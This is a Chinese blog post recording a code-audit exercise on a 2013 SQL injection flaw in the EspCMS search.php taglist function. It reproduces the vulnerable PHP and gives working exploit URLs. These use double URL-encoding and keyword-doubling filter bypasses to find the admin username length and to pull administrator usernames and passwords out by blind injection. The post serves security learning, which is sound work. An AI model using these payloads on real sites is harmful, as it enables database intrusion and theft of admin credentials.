审计espcms注入漏洞

    正在学习代码审计,动手审计了一下seay在2013年发现的espcms注入漏洞,记录下来:

    主要问题函数为interface/search.php中的in_taglist()函数:

function in_taglist() {
		parent::start_pagetemplate();
		include_once admin_ROOT . 'public/class_pagebotton.php';

		$page = $this->fun->accept('page', 'G');
		$page = isset($page) ? intval($page) : 1;
		$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
		$tagkey = urldecode($this->fun->accept('tagkey', 'R'));

		$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
		if (empty($tagkey)) {
			$linkURL = $_SERVER['HTTP_REFERER'];
			$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
		}
		if (!empty($tagkey)) {
			$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
		}
		$pagemax = 20;

		$pagesylte = 1;

		$templatesDIR = $this->get_templatesdir('article');

		$templatefilename = $lng . '/' . $templatesDIR . '/search';

		$db_table = db_prefix . 'document';
		$countnum = $this->db_numrows($db_table, $db_where);
		if ($countnum > 0) {

			$numpage = ceil($countnum / $pagemax);
		} else {
			$numpage = 1;
		}
		$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
			color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
		$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
		$sql = $this->htmlpage->PageSQL('pid,did', 'down');
		$rs = $this->db->query($sql);
		while ($rsList = $this->db->fetch_assoc($rs)) {
			$rsList['typename'] = $this->get_type($rsList['tid'], 'typename');
			$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
			$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
			$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
			$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
			$rsList[$keyname] = str_ireplace($keyword, '<font color="#F00000"><u>' . $keyword . '</u></font>', $rsList[$keyname]);
			$array[] = $rsList;
		}
		$this->pagetemplate->assign('pagetext', $this->htmlpage->PageStat($this->lng['pagetext']));
		$this->pagetemplate->assign('pagebotton', $this->htmlpage->PageList());
		$this->pagetemplate->assign('pagenu', $this->htmlpage->Bottonstyle(false));
		$this->pagetemplate->assign('pagese', $this->htmlpage->pageSelect());
		$this->pagetemplate->assign('pagevt', $this->htmlpage->Prevbotton());

		$this->pagetemplate->assign('array', $array);
		$this->pagetemplate->assign('path', 'search');
		unset($array, $typeread, $modelview, $LANPACK, $this->lng);
		$this->pagetemplate->display($templatefilename, 'search', false, $filename, admin_LNG);
	}

   

主要代码:

$tagkey = urldecode($this->fun->accept('tagkey', 'R'));
$db_where.=" AND FIND_IN_SET('$tagkey',tags)";

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
			color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";


$tagkey变量使用了urldecode,可以绕过GPC,最终$tagkey被带入SQL语句。

漏洞测试EXP:http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527

猜解用户名长度:

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

爆破用户名和密码:

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay

   


    最近才接触代码审计,看的眼疼。奋斗

EspCMS 原名:EasySitePM 。一款适用于不同类型企业使用的网站管理平于,它具有多语言、繁简从内核转换、SEO搜索优化、图片自定生成、用户自定界面、可视化订单管理系统、可视化邮件设置、模板管理、数据缓存+图片缓存+文件缓存三重提高访问速度、百万级数据快速读取测试、基于PHP+MYSQL系统开发,功能包括:产品管理、文章管理、订单处理、单页信息、会员管理、留言管理、论坛、模板管理、语言管理、权限自定等。   ESPCMS初次安装注意事项:   一、更新语言引导文件    登陆后台后选择“网站语言管理”-“语言列表”-将您要开通的语言进行“生成引导文件”操作!(提示:如未生成引导文件,则除当前默认语言可以查看外,其它语言查看会出错,因此需要全部生成!另外,如您的网站在本地调试,生成的是以当前环境为主,当网站上传到服务器后,建议再重新生成一次!)   二、当前系统默认是以动态页面显示,如您网站处于调试状态,建议以动态显示为主,当网站调试结束后,再开启“静态页面生成”功能,然后对整站进行生成操作!   三、当前系统默认“关闭缓存”,如网站处理调式阶段,建议关闭,网站如处于运营状态,则建议“开启”。   四、如您网站上传的服务器属于Linux类型,建议您对相关权限目录进行读写权限检查操作。    1、登陆后台    2、选择“系统维护”- “文件夹权限检查”    3、对未设置读写权限操作的文件夹进行“777”权限操作   五、系统支持伪静态功能,请确定您的服务器是否支持该功能,并将htaccess的.htaccess文件复制到根目录及相关语言目录中!   六、如您本地调试URL地址和服务器URL地址不一样,请登陆“系统设置”-“网站参数设置”,对“网站网址”进行更改   七、系统初次使用无静态页,如访问静态页面出错,请进行生成或修改为动态显示即可!   八、系统中包括两套模板,goods为当前模板,请注意不要修改错误!   九、安装完毕后,请删掉到install目录!   易思ESPCMS v5.7更新:   1、增加询盘、订单产品图片显示;   2、修复sitemap生成错误; 运行环境:PHP+MySQL
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值